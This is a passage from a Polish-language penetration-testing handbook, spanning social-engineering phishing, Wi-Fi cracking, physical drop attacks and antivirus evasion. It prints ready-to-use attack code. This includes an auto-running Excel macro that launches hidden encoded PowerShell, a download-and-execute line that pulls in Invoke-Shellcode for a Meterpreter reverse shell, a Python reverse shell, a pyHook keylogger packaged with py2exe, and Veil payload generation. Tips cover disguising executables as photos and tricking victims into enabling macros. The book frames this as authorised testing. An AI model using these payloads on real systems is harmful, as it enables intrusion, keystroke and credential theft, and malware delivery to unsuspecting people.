po to, żeby się podszyć pod taką osobę. Być może we wcześniejszych rozdziałach udało Ci się zdobyć kilka danych uwierzytelniających. Zaloguj się do firmowego serwera poczty OWA (ang. Outlook Web Access) i poszukaj adresów e-mail osób, które często komunikują się z ofiarą. Generowanie plików Excela z ładunkiem za pomocą Metasploita ma pewną wadę — tego rodzaju pliki często wywołują alarm w programie antywirusowym. Aby rozwiązać ten problem, skorzystamy z podobnej taktyki jak w rozdziale 5., czyli użyjemy skryptów PowerShella. Najpierw utwórzmy plik Excela zawierający złośliwe makro (rysunek 6.11).

Rysunek 6.11. Plik Excela zawierający odwróconą powłokę PowerShella 136

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

Po otwarciu pliku Excela przejdź na kartę View (Widok), znajdź element Macros (Makra) i z menu rozwijanego wybierz polecenie View Macros (Wyświetl makra). W wyświetlonym oknie Macro (Makro) nadaj makru nazwę Auto_Open i kliknij przycisk Create (Utwórz). Nazwa Auto_Open informuje Excel, aby uruchomił makro automatycznie w trakcie uruchamiania programu. Musimy dodać polecenie uruchamiające ładunek PowerShella, którego zadaniem jest utworzenie sesji Meterpretera i połączenie się z komputerem nasłuchującym. Zajrzyj do rozdziału 5., żeby dowiedzieć się, w jaki sposób wygenerować tekst zakodowany za pomocą Base64, tak aby ukryć zamiar połączenia się z naszym centrum sterowania. Sub Auto_Open() heets("Sheet2").Visible = True Sheets("Sheet2").Select Dim strCommand As String strCommand = "PowerShell.exe -Exec Bypass -NoL -Win Hidden -Enc [KodBase64]" Shell strCommand, 0 End Sub

Przedstawione makro pochodzi z obscuresec3 (rysunek 6.12). Skrypt PowerShella pobierający i uruchamiający powłokę Meterpretera jest następujący: IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/ PowerSploit /master/CodeExecution/InvokeShellcode.ps1'); Invoke-Shellcode -Payload windows/ meterpreter/reverse_https -Lhost [adres IP] -Lport 443 -Force

Rysunek 6.12. Tworzenie makra za pomocą PowerShella

Przedstawiony kod przed dołączeniem do makra kodujemy za pomocą skryptu ps_enco der.py. Szczegółowy opis tej metody znajduje się w rozdziale 5. Zapisz utworzony plik jako XLS (a nie XLSX), ponieważ format XLSX nie spowoduje automatycznego uruchomienia makra. Przed wysłaniem pliku Excela uruchom na swoim komputerze skrypt nasłuchujący (StartListener.py). W kwestii szczegółowej konfiguracji ponownie odsyłam do opisu znajdującego się w rozdziale 5. 3

https://github.com/obscuresec/shmoocon/blob/master/PowerShellOfficeMacro 137

PODRĘCZNIK PENTESTERA

Po przesłaniu pliku Excela do ofiary i otwarciu przez nią dokumentu pojawi się ostrzeżenie przedstawione na rysunku 6.13. Trzeba wykorzystać każdą możliwą technikę psychologiczną, by skłonić ofiarę do kliknięcia przycisku włączającego makra. Właśnie z tego powodu tak mocno akcentuję konieczność wzbudzenia zaufania u ofiary.

Rysunek 6.13. Zachęć ofiarę do włączenia makr

Po kliknięciu przycisku Enable Content (Włącz zawartość) zostanie na danym komputerze uruchomiona powłoka Meterpretera. Co więcej, najprawdopodobniej uda się ominąć zabezpieczenia antywirusowe, ponieważ PowerShell zostanie uruchomiony w pamięci komputera bez zapisu jakichkolwiek plików (rysunek 6.14).

Rysunek 6.14. Udane uruchomienie odwróconej powłoki

PODSUMOWANIE Inżynieria społeczna to w pewnym sensie rodzaj sztuki, trzeba więc poświęcić nieco czasu na zbadanie i zrozumienie tego, co działa, a co nie działa. Jeśli wysyłany e-mail lub docelowa strona WWW nie wygląda profesjonalnie, będzie to miało negatywny wpływ na efektywność kampanii phishingowej. Niekiedy nawet trzeba zastanowić się na tym,

138

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

jakie są najlepsze dni lub godziny, w których wysłanie e-maila w celach phishingowych będzie najbardziej skuteczne wśród pracowników. Jeśli chcemy usprawnić swoje triki, przyglądajmy się temu, co robią najlepsi „źli goście”. Większość z nich atakuje poprzez portale społecznościowe, a w wykorzystywanych zaawansowanych sposobach ataku sięga między innymi po tematykę związaną z działalnością firmy. Na przykład na koniec roku wielu pracowników może odnawiać swoje polisy prywatnego ubezpieczenia zdrowotnego. W takiej sytuacji warto wykonać kampanię phishingową, która będzie dotyczyła tej tematyki i kierowała na odpowiednio spreparowane strony przypominające strony firm ubezpieczeniowych.

139

PODRĘCZNIK PENTESTERA

140

Rozdział 7.

WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU Wykop na bok to niebezpieczna taktyka, która potrafi jednak zapewnić doskonałe wyniki. Problemem tego rodzaju ataku jest to, że najczęściej wymaga niewielkiej odległości, co może zwiększyć czujność ofiary. W tym rozdziale wyjaśnię, w jaki sposób można włamywać się do sieci bezprzewodowych, klonować karty dostępu, tworzyć penetracyjną skrzynkę lub podrzucać do firmy pamięci USB albo płyty CD. Pamiętaj, by uzyskać wcześniej pisemną zgodę na przeprowadzenie tego rodzaju testów od firmy zlecającej test penetracyjny.

WŁAMYWANIE SIĘ DO SIECI BEZPRZEWODOWYCH Dosyć często różne osoby zadają mi pytanie o najlepszą kartę do podsłuchiwania i atakowania sieci bezprzewodowych. Nie wykonywałem żadnych technicznych porównań, ale to karta Alfa AWUS051NH jest powodem większości moich sukcesów na tym polu (rysunek 7.1). Karta ta podłączana do portu USB obsługuje standard 802.11 a/b/g/n i działa bez dodatkowych sterowników w systemach BackTrack i Kali Linux. Karta korzysta z chipsetu Ralink, którego jestem ogromnym zwolennikiem. Głównym powodem, dla którego korzystam z kart USB, jest fakt, iż uruchamiam system Kali Linux w maszynie wirtualnej, więc nie mam pełnego dostępu do karty bezprzewodowej wbudowanej w laptop. Kartę Alfa AWUS051NH można zakupić pod adresem http://www.easywifi.pl/p388,alfa-network-awus051nh-2-4-5ghz-802-11a-b-g-n-bt3.html. Swoją kartę kupiłem w sklepie Amazon. Otrzymałem ją wraz z dwiema antenami: 9dBi i 5dBi. Jeśli konieczne będzie działanie w większych odległościach, polecam zakup anteny Yagi. Jest to antena bardziej kierunkowa, a zysk jest co najmniej dwukrotnie większy niż w przypadku standardowej anteny.

PODRĘCZNIK PENTESTERA

Rysunek 7.1. Karta Alfa AWUS051NH

ATAK PASYWNY — IDENTYFIKACJA I REKONESANS Podczas pasywnego testowania Wi-Fi karta uruchamiana jest w trybie podsłuchiwania, aby można było zidentyfikować punkty dostępowe, klientów, siłę sygnału, rodzaj szyfrowania itp. W trybie pasywnym system nie wchodzi w interakcję z innymi urządzeniami — służy jedynie do rozpoznania przeciwnika. Aby rozpocząć rekonesans Wi-Fi, uruchamiam narzędzie Kismet. To doskonałe narzędzie do podsłuchiwania, identyfikacji i monitorowania ruchu w sieciach bezprzewodowych. W dowolnym terminalu systemu Kali Linux wpisz poniższe polecenie: kismet

Uruchomi się aplikacja Kismet, w której trzeba wskazać interfejs karty sieciowej. Najłatwiej uzyskać nazwę interfejsu, wykonując w oknie konsoli polecenie ifconfig. W przedstawionym przykładzie karta bezprzewodowa stosowała interfejs wlan1 (rysunek 7.2). Jeśli wszystko działa prawidłowo, można zamknąć dodatkowe okno (jeśli utkniesz, użyj klawisza Tab). Po chwili powinny zacząć się pojawiać informacje o wszystkich dostępnych identyfikatorach SSID, kanałach, sile sygnału itp. (rysunek 7.3). Sieci bezprzewodowe wyróżnione są za pomocą odpowiednich kolorów, które oznaczają:  kolor żółty — sieć niezabezpieczona,  kolor czerwony — stosowanie ustawień domyślnych, 142

ROZDZIAŁ 7. WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU

Rysunek 7.2. Konfiguracja narzędzia Kismet

Rysunek 7.3. Informacje o AP i SSID

 kolor zielony — sieci zabezpieczone (WEP, WPA itp.),  kolor niebieski — sieci z wyłączonym rozgłaszaniem SSID1. Po wybraniu konkretnego identyfikatora SSID można zobaczyć informacje na temat punktu dostępowego, na przykład BSSID, producenta, rodzaju szyfrowania (na rysunku jest to WEP) oraz dane o sile sygnału i utraconych pakietach. To wartościowe informacje wstępne pomagające ustalić miejsce umieszczenia punktu dostępowego i sposób ataku. Naciśnięcie klawisza ~, potem klawisza V i na końcu klawisza C spowoduje wyświetlenie wszystkich klientów podłączonych do punktu dostępowego (rysunek 7.4). 1

https://bbs.archlinux.org/viewtopic.php?id=51548 143

PODRĘCZNIK PENTESTERA

Rysunek 7.4. Klienci podłączeni do punktu dostępowego

Uzyskane informacje okażą się pomocne podczas ataków mających na celu ponowienie uwierzytelnienia lub ataków typu DoS (ang. Denial of Service) na punkt dostępowy, omówionych w dalszej części rozdziału.

ATAK AKTYWNY Po zidentyfikowaniu sieci, którą należy zaatakować, trzeba na podstawie uzyskanych danych zastanowić się nad rodzajem ataku aktywnego. Skupimy się na czterech podstawowych atakach dotyczących szyfrowań: WEP, WPAv2, WPAv2 WPS i WPA-Enterprise. Chcę w tym miejscu podkreślić, że będę omawiał najszybsze i najłatwiejsze sposoby łamania haseł do sieci bezprzewodowych oraz uzyskiwanie dostępu do infrastruktury innymi metodami. Istnieje mnóstwo narzędzi umożliwiających atakowanie sieci Wi-Fi (Aircrack-ng — http://www.aircrack-ng.org/ — jest jednym z moich ulubionych), ale skupię się na tych zapewniających szybkie i łatwe wyniki.

Szyfrowanie WEP W zasadzie chyba wszyscy zajmujący się sieciami bezprzewodowymi wiedzą, że szyfrowanie WEP (ang. Wired Equivalent Privacy) nie zapewnia dobrej ochrony. Nie chcę tu wchodzić w szczegóły, ponieważ na temat sposobu implementacji i konfiguracji tego protokołu można przeczytać na stronie Wikipedii (http://pl.wikipedia.org/wiki/Wired_Equi valent_Privacy). Jeśli uda się znaleźć punkt dostępowy stosujący WEP i pojawi się przynajmniej jeden klient używający tej sieci, to złamanie hasła WEP nie będzie stanowiło żadnego problemu. 144

ROZDZIAŁ 7. WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU

Do wykonania zadania zaprzęgniemy narzędzie Fern WIFI Cracker (rysunek 7.5), które znajdzie sieci WEP i spróbuje złamać hasła. Omawiam to narzędzie, ponieważ jest dostępne w systemie Kali Linux i wykorzystuje Aircrack-ng (a — jak wspomniałem — jest to moje ulubione narzędzie do przeprowadzania ataków na sieci Wi-Fi). Dodatkowa uwaga dotycząca przykładu: atakowany punkt dostępowy musi posiadać przynajmniej jednego aktywnego klienta sieci. Ograniczenie to można co prawda obejść (patrz atak Newshama), ale nie będę tego opisywał, gdyż w większości sytuacji klient sieci się pojawia.

Rysunek 7.5. Narzędzie Fern WIFI Cracker

Kroki pozwalające złamać hasło WEP przy użyciu systemu Kali Linux:  Przejdź do wiersza poleceń i wywołaj polecenie fern-wifi-cracker.  Zaznacz menu rozwijane i wybierz kartę Wi-Fi (najprawdopodobniej wlan0).  Kliknij przycisk Scan.  Przejdź do WEP (czerwony znaczek Wi-Fi).  Wybierz identyfikator SSID sieci, którą chcesz zaatakować.  Kliknij przycisk WiFi Attack po prawej stronie.  Przyglądaj się licznikowi IV. Do złamania hasła potrzeba co najmniej 10 tysięcy IV.  W przypadku złamania hasła klucz WEP pojawi się na ekranie (rysunek 7.6). Teraz nic już nie powinno stać na przeszkodzie, aby połączyć się z siecią powiązaną z tym identyfikatorem SSID.

145

PODRĘCZNIK PENTESTERA

Rysunek 7.6. Łamanie hasła WEP

Szyfrowanie WPAv2 (TKIP) WPAv2 (ang. Wi-Fi Protected Access) w przeciwieństwie do WEP nie ma słabego punktu, więc łamanie hasła jest znacznie trudniejsze. Aby przeprowadzić udany atak, trzeba przechwycić pierwszą wymianę danych uwierzytelniających, realizowaną przez klienta i wysyłaną do punktu dostępowego. Aby wymusić taką sytuację, można udać, że uwierzytelnianie nie powiodło się i trzeba je ponowić. Po przechwyceniu wymiany nie uzyskamy od razu hasła — musimy je złamać w sposób wymagający żmudnego sprawdzania wszystkich kombinacji. Zobaczmy, jak to wygląda w praktyce. Zanim zaczniemy podsłuchiwać, musimy włączyć w narzędziu Fern WIFI Cracker przechwytywanie do pliku. To konieczne, aby móc później łamać dane wymiany. Wykonaj następujące polecenia:  W wierszu poleceń wpisz komendę fern-wifi-cracker.  Przejdź do paska narzędziowego.  Kliknij przycisk WIFI Attack Options.  Zaznacz opcję Capture File Settings (rysunek 7.7).  Naciskaj klawisz Esc tak długo, aż pojawi się główny ekran narzędzia.

146

ROZDZIAŁ 7. WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU

Rysunek 7.7. Narzędzie Fern WIFI Cracker z włączoną opcją Capture File Settings

 Zaznacz menu rozwijane i wybierz kartę Wi-Fi (najprawdopodobniej wlan0).  Kliknij przycisk Scan.  Przejdź do WPA (niebieski znaczek Wi-Fi).  Wybierz SSID, który chcesz zaatakować.  Kliknij przycisk WiFi Attack.  Poczekaj na utworzenie pliku CAP (rysunek 7.8). Musimy oczyścić plik CAP, aby działał prawidłowo z narzędziem do łamania haseł. Zadanie to realizuje polecenie wpaclean. wpaclean

Zauważ, że nazwy plików podaje się w odwrotnej kolejności. Plik wyjściowy musi pojawić się jako pierwszy, a wejściowy — jako drugi, więc nietrudno o pomyłkę.

147

PODRĘCZNIK PENTESTERA

Rysunek 7.8. Przechwycenie wymiany uwierzytelniającej WPA

Aby złamać szyfrowanie WPA, musimy skonwertować oczyszczony plik CAP na HCCAP. Posłużymy się w tym celu narzędziem Aircrack-ng2 (rysunek 7.9). aircrack-ng -J

Pamiętaj, by użyć dużej litery J, a nie małej j. Uzyskany plik można już przekazać do narzędzia łamania haseł oclHashcat. Pamiętaj, że jedynym sposobem na złamanie hasła WPAv2 jest zastosowanie metody polegającej na żmudnym testowaniu wszystkich kombinacji. Więcej informacji na temat użycia narzędzia oclHashcat do łamania haseł WPAv2 zawiera rozdział 9.

Szyfrowanie WPAv2 z użyciem WPS WPS (nazywany dawniej z ang. Wi-Fi Simple Config) powstało, aby ułatwić tworzenie bezpiecznych połączeń z routerem bezprzewodowym lub punktem dostępowym3. Do połączenia z punktem dostępowym wystarczy kod PIN zamiast długiego hasła. Problem z tym 2

http://hashcat.net/wiki/doku.php?id=cracking_wpawpa2

3

http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup 148

ROZDZIAŁ 7. WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU

Rysunek 7.9. Oczyszczanie plików WPA

rozwiązaniem jest taki, że kody PIN można złamać stosunkowo szybko, stosując rozwiązanie polegające na wypróbowywaniu wszystkich kombinacji4. Co ciekawe, w niektórych punktach dostępowych nie można wyłączyć obsługi WPS nawet w sytuacji, gdy odpowiednią opcję wyłączy się na stronie konfiguracji. Za pomocą narzędzia Kismet można pasywnie określić producenta punktu dostępowego. Następnie wystarczy sprawdzić, czy urządzenie ma tę wadę, zaglądając do dokumentu Google, dostępnego pod adresem http:// bit.ly/1eRN0qj. Kroki niezbędne do realizacji ataku na WPS przypominają te dla WPAv2, z tym że zamiast typu Regular Attack należy wybrać WPS Attack i poczekać na wyniki (rysunek 7.10). Wspomniany dokument Google informuje o szacunkowym czasie niezbędnym do złamania zabezpieczeń urządzenia konkretnego typu.

Szyfrowanie WPA-Enterprise — sfabrykowany serwer Radius Jednym z moich ulubionych ataków w środowiskach firmowych jest utworzenie własnej podróbki serwera Radius. W przypadku szyfrowania WPAv2-Enterprise standardowe 4

http://www.kb.cert.org/vuls/id/723755 149

PODRĘCZNIK PENTESTERA

Rysunek 7.10. Atak na WPS

ataki WEP i WPAv2 TKIP nie zadziałają. Aby rozwiązać ten problem, Josh Wright wymyślił sposób przechwytywania kombinacji nazwa użytkownika-hasło dla sieci WPAv2-Enterprise z wykorzystaniem serwera Radius5.

Konfiguracja serwera Radius Aby skonfigurować serwer Radius, trzeba go najpierw pobrać i nieco zmodyfikować. Wykonaj w konsoli następujące polecenia (koncepcja oraz kod pochodzą z prezentacji dostępnej pod adresem http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_ Wright_Antoniewicz.pdf). wget http://ftp.cc.uoc.gr/mirrors/ftp.freeradius.org/freeradius-server-2.1.12.tar.bz2 tar xfj freeradius-server-2.1.12.tar.bz2 cd freeradius-server-2.1.12 wget http://willhackforsushi.com/code/freeradius-wpe-2.1.12.patch

Wykonaj kolejne kroki:  Wprowadź poprawki w serwerze i skompiluj go: patch -p1 < freeradius-wpe-2.1.12.patch ./configure && make && make install 5

http://www.willhackforsushi.com/?page_id=37 150

ROZDZIAŁ 7. WYKOP NA BOK — ATAKI WYMAGAJĄCE FIZYCZNEGO DOSTĘPU

 Zmień konfigurację serwera i uruchom go: cat >> clients.conf /dev/null & fi

b. Przeprowadź edycję ustawień skryptu CRON (polecenie crontab -e). Po wykonaniu skryptu najprostszym sposobem zapewnienia połączenia z serwerem głównym jest ustanowienie zadania dla CRON-a, który co kilka minut będzie się próbował połączyć z domem. c. Umieść w pliku crontab następujący fragment: # Poniższe ustawienie uruchamia skrypt co dwie minuty. Pamiętaj, że skrypt nawiąże nowe # połączenie tylko wtedy, gdy nie znajdzie istniejącego, aktywnego połączenia. */2 * * * * /root/Desktop/callback.sh > /dev/null 2>&1

3. Włącz Wi-Fi w trybie ad hoc. 155

PODRĘCZNIK PENTESTERA

Kilka razy zdarzyło mi się, że nie mogłem ustanowić wychodzącego połączenia internetowego, ponieważ było ono blokowane. W takiej sytuacji konfigurowałem w urządzeniu ODROID-U2 kartę bezprzewodową, by działała w trybie ad hoc. Jedyny problem związany z takim rozwiązaniem wynika z tego, iż aby nawiązać połączenie z urządzeniem, trzeba dosyć blisko do niego podejść.

FIZYCZNE ASPEKTY INŻYNIERII SPOŁECZNEJ Ponieważ inżynieria społeczna to bardzo rozległy temat, opiszę jedynie działania, które okazały sie skuteczne w przeprowadzanych przeze mnie testach. Można próbować zostawić w dowolnym miejscu napęd USB, ale w praktyce najtańszym i bardzo skutecznym rozwiązaniem jest pozostawienie płyty CD. Próbowałem wielu różnych napisów na płycie CD, przy czym jeden z nich działał w zasadzie zawsze. Napisz na płycie: „Zdjęcia z ferii zimowych [rok]” — uwierz mi, że zawsze znajdzie się ktoś, kto chciałby zobaczyć zdjęcia. Najczęściej tworzę plik wykonywalny Meterpretera (pamiętaj o oszukaniu programu antywirusowego) i konfiguruję mechanizm nasłuchujący z wykorzystaniem automatycznego uruchamiania, aby w momencie połączenia wykonać następujące kroki: 1. migracja, 2. zebranie danych o hoście, 3. zerwanie połączenia. Plikowi wykonywalnemu nadaję nazwę IMG_1011.jpg.exe. Wiem, że osoby czytające tę książkę od razu zauważą rzeczywiste rozszerzenie pliku, ale w praktyce rozwiązanie to sprawdza się doskonale. Czasem przygotowuję spreparowany raport finansowy w postaci pliku Excela. Zalecam przejrzenie rozdziału 6. i zastanowienie się, które z przedstawionych tam rozwiązań mogą posłużyć do fizycznego ataku z wykorzystaniem inżynierii społecznej.

PODSUMOWANIE Atak, w którym trzeba się dostać na miejsce testu, wymaga cierpliwości i praktyki. Jak nietrudno się domyślić, tego rodzaju atak ogromnie podnosi poziom adrenaliny. Najważniejsze, aby pozostać spokojnym, od samego początku trzymać się ściśle określonego planu i realizować go tak szybko, jak to jest możliwe. Najlepiej, gdy uda nam się wejść i wyjść, nie wzbudzając podejrzeń żadnego z pracowników. Moja rada: ćwicz, ćwicz i jeszcze raz ćwicz.

156

Rozdział 8.

ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH Uważam, że skanery antywirusowe istnieją tylko po to, by zatrzymać dzieciaki bawiące się w hakerów. Jeśli korzystasz z domyślnych ustawień Metasploita lub używasz plików pobranych wcześniej z internetu bez żadnej obróbki, jest duże prawdopodobieństwo, że nie tylko zostaniesz złapany, ale że także zakończy się cały test. Element zaskoczenia to istotny czynnik wpływający na sukces w poruszaniu się po atakowanej sieci. W tym rozdziale wyjaśnię, jak nie dać się złapać skanerom antywirusowym.

OSZUKIWANIE SKANERÓW ANTYWIRUSOWYCH Regularnie napotykam programy antywirusowe, które blokują ładunek Meterpretera, zapobiegają użyciu programu WCE (ang. Windows Credentials Editor) lub innego narzędzia do testów penetracyjnych albo też przekazują użytkownikowi odpowiednie informacje ostrzegawcze. Obecnie gwarancji przemknięcia się nie dają już szyfratory wbudowane w narzędzie Metasploit, takie jak msfvenom lub Shikata Ga Nai. Zanim przejdziemy do zagadnienia omijania skanerów antywirusowych, chciałbym pokazać, czego szukają tego rodzaju skanery. Jeśli od jakiegoś czasu starasz się unikać wykrycia przez skanery, zapewne wiesz, że w większości bazują one na sygnaturach. Skaner szuka określonych ciągów znaków i gdy je rozpozna, wszczyna alarm. Przedstawione teraz przykłady pokażą, jak łatwo można manipulować programami antywirusowymi.

UKRYWANIE WCE PRZED PROGRAMAMI ANTYWIRUSOWYMI (WINDOWS) Uwielbiam narzędzie WCE, ponieważ umożliwia wyciągnięcie z pamięci komputera haseł zapisanych jawnym tekstem. Problem polega na tym, że WCE powoduje alarm w zasadzie

PODRĘCZNIK PENTESTERA

we wszystkich skanerach antywirusowych. Najszybszym sposobem ominięcia programu antywirusowego jest więc sprawdzenie, gdzie w pliku WCE skaner szuka sygnatury, po czym zmienienie jej.

Przykład — narzędzie Evade W komputerze z systemem Windows uruchom narzędzie Evade (https://www.securepla. net/antivirus-now-you-see-me-now-you-dont/). Evade przyjmuje jako dane plik wykonywalny i tworzy wiele części tego pliku na podstawie zadanego rozmiaru. Przypuśćmy, że mamy plik o rozmiarze 50 kB i chcemy podzielić go na pliki o rozmiarze 5 kB każdy. Powstanie 10 różnych części pliku. Pierwszy plik będzie zawierał pierwsze 5 kB danych (nagłówek MZ i kilka dodatkowych informacji). Drugi plik będzie zawierał oprócz pierwszych 5 kB także następne 5 kB. Wszystko powtórzy się aż do uzyskania pełnego pliku. W przedstawionym przykładzie wczytałem plik WCE, zdefiniowałem folder wyjściowy i kliknąłem przycisk Split! (rysunek 8.1). W folderze wynikowym znajdują się pliki stanowiące poszczególne części pliku wejściowego (rysunek 8.2).

Rysunek 8.1. Narzędzie Evade

Powinniśmy uzyskać zbiór różnych plików. Po uruchomieniu szesnastkowego edytora plików (HxD) możemy zauważyć, że pierwszy z nich zawiera pierwsze 5000 bajtów, a drugi — pierwsze 10 000 bajtów (rysunek 8.3). Po otwarciu kalkulatora możemy odjąć od siebie wartości szesnastkowe: 270F–1387 daje 1388, co po zamianie na wartość szesnastkową daje ostatecznie wartość 5000. Idealnie! 158

ROZDZIAŁ 8. ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH

Rysunek 8.2. Wynik działania narzędzia Evade

Zacznij od najmniejszego pliku i przeskanuj go za pomocą wybranego skanera antywirusowego. Czy włączył się alarm? Jeśli nie, przejdź do następnego pliku. Jeśli tym razem program antywirusowy zgłosił ostrzeżenie, oznacza to, że ostatnie 5000 bajtów ostatniego pliku zawiera coś, co wywołuje alarm w programie antywirusowym (rysunek 8.4). Podczas generowania plików lub skanowania ręcznego program antywirusowy informuje użytkownika o podejrzanych plikach. W zależności od wybranej przez program akcji pliki po TestFile_145000 mogą zostać usunięte, co oznacza, że sygnatura musi znajdować się między bajtami 145 000 – 150 000. Zobaczmy, co znajduje się w tym miejscu. Po zamianie 145 000 na wartość szesnastkową otrzymujemy 23 668. Przekonajmy się w edytorze HxD, co też tutaj jest. Poszukaj ciekawych miejsc w pliku lub uruchom ponownie narzędzie Evade, aby bardziej szczegółowo podzielić plik wykonywalny. Wydaje się, że tym razem udało mi się zlokalizować miejsce, którego poszukuje program antywirusowy. Sygnaturą jest nazwa aplikacji i jej autor (rysunek 8.5). Za pomocą edytora HxD możemy nadpisać te wartości, po czym zapisać zmodyfikowany plik wykonywalny pod nową nazwą (rysunek 8.6). Nadpisałem sygnaturę wartościami odpowiadającymi znakowi A i zapisałem plik jako wce2.exe. Na szczęście w tym przypadku sygnatura nie dotyczy binarnej części pliku wykonywalnego, a jedynie danych wyświetlanych na ekranie. Przetestujmy zmodyfikowaną wersję pliku w programie antywirusowym (rysunek 8.7). 159

PODRĘCZNIK PENTESTERA

Rysunek 8.3. Porównanie plików

Skaner nie zgłasza już żadnych uwag względem aplikacji, a samo narzędzie nadal funkcjonuje znakomicie. Warto pamiętać, że wszystko działa, ponieważ modyfikowane wartości dotyczyły tekstów pojawiających się na ekranie, a nie samego kodu binarnego aplikacji. 160

ROZDZIAŁ 8. ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH

Rysunek 8.4. Znajdowanie pliku powodującego ostrzeżenie w programie antywirusowym

Rysunek 8.5. Identyfikacja sygnatury wywołującej alarm w programie antywirusowym

Jeśli sygnatura bazowałaby na kodzie, którego nie można zmienić, przedstawiony trik nie zadziałałby. Niniejszy przykład miał przede wszystkim zobrazować słabość programów antywirusowych i samą ideę unikania wykrycia zagrożenia przez skaner.

SKRYPTY W JĘZYKU PYTHON Python to Twój najlepszy przyjaciel. Używam tego języka do tworzenia większości narzędzi i przeprowadzania włamań. Powodów, dla których korzystam z języka Python, jest kilka. Po pierwsze, istnieje wiele systemów, które pliki wykonywalne i skrypty Pythona 161

PODRĘCZNIK PENTESTERA

Rysunek 8.6. Modyfikacja sygnatury włączającej alarm

Rysunek 8.7. Skaner antywirusowy niesygnalizujący już zagrożenia

mają na swojej „białej liście”. Po drugie, bardzo łatwo dodać element losowości i obejść dowolną sygnaturę. Po trzecie, dzięki narzędziom takim jak py2exe można bardzo łatwo zamienić dowolny skrypt na plik wykonywalny.

Powłoka języka Python Po obejrzeniu prezentacji Dave a Kennedy'ego na konferencji BSides w 2012 roku (http:// www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf) na poważnie zainteresowałem się wykorzystaniem języka Python do tworzenia niebezpiecznych ładun162

ROZDZIAŁ 8. ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH

ków. Okazuje się, że najłatwiej napisać prosty skrypt i następnie zamienić go na plik wykonywalny za pomocą narzędzia py2exe. #!/usr/bin/python import socket, subprocess HOST = '192.168.10.100' PORT = 5151 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('[*] Ustanowiono połączenie!') while 1: data = s.recv(1024) if data == 'quit': break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close()

Przedstawiony kod utworzy połączenie konsolowe do adresu IP 192.168.10.100 na porcie 5151. Jeśli mam tam uruchomione narzędzie netcat, uzyskam efekt odwróconej powłoki. Korzystając z programu PyInstaller, możemy zamienić plik py na plik wykonywalny. C:\python27\python.exe C:\utils\pyinstaller-2.0\pyinstaller.py --out=C:\shell\ --noconsole --onefile C:\shell\shell.py

O ile wiem, żaden program antywirusowy nie podniesie alarmu w przypadku takiego pliku.

Logowanie znaków w Pythonie1 Wykorzystuje się wiele różnych rodzajów narzędzi do logowania wprowadzanych znaków. Moim celem przy tworzeniu takiego narzędzia była chęć uniknięcia rozpoznania przez program antywirusowy i, w miarę możliwości, znalezienie się na „białej liście” dopuszczonych aplikacji. Przedstawiony skrypt spowoduje, że będą rejestrowane wszystkie klawisze naciśnięte na klawiaturze. import pyHook, pythoncom, sys, logging file_log = 'C:\\systemlog.txt' def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()

1

http://www.youtube.com/watch?v=8BiOPBsXh0g#t=163 163

PODRĘCZNIK PENTESTERA

Oto mój plik konfiguracyjny setup.py: from distutils.core import setup import py2exe setup(options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "logger.py"}], zipfile = None, )

Dzięki narzędziu py2exe skonwertuję skrypt na plik wykonywalny, wykonując poniższe polecenia: python.exe setup.py install python.exe setup.py py2exe

Uzyskałem w ten sposób plik binarny, który zapisuje wszystkie naciśnięte klawisze w pliku C:\systemlog.txt. Skrypt jest niezwykle prosty i jak do tej pory nie wykrył go żaden program antywirusowy. W razie potrzeby można dodać do skryptu nieco losowości, by mieć pewność, że jego sygnatura nie znajduje się bazie danych programu antywirusowego.

Przykład użycia narzędzia Veil (Kali Linux) Veil to napisany przez Christophera Truncera generator ładunków, którego zadaniem jest omijanie zabezpieczeń antywirusowych. Narzędzie korzysta z wielu różnych technik, by oszukać skaner antywirusowy. Najbardziej znane jest jednak z przyjmowania powłoki Meterpretera, jej konwersji na język Python i opakowania ładunku za pomocą py2exe lub pyinstaller. W ten sposób plik wykonywalny potrafi oszukać wiele programów antywirusowych, a nawet znaleźć się na „białej liście” programów dopuszczonych do wykonania. Istnieje wiele różnych sposobów użycia narzędzia Veil — opiszę ten najpopularniejszy.

Utworzenie zaszyfrowanego pliku Meterpretera dla odwróconej powłoki Wykonaj następujące czynności:  Przejdź do folderu /opt/Veil i wykonaj skrypt: cd /opt/Veil ./Veil-Evasion.py.

 W przykładzie użyjemy ładunku MeterHTTPSContained, więc wpisz poniższe polecenie: use 25

 Podobnie jak w przypadku Metasploita ustawimy wartości LHOST i LPORT. Przykładowo mój system atakujący ma adres IP 192.168.75.131, a portem nasłuchującym (LPORT) jest port 443 (by udawać komunikację SSL): set LHOST 192.168.75.131 set LPORT 443

164

ROZDZIAŁ 8. ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH

 Wpisz poniższe polecenie, aby wygenerować ładunek (rysunek 8.8): generate

Rysunek 8.8. Konfiguracja narzędzia Veil

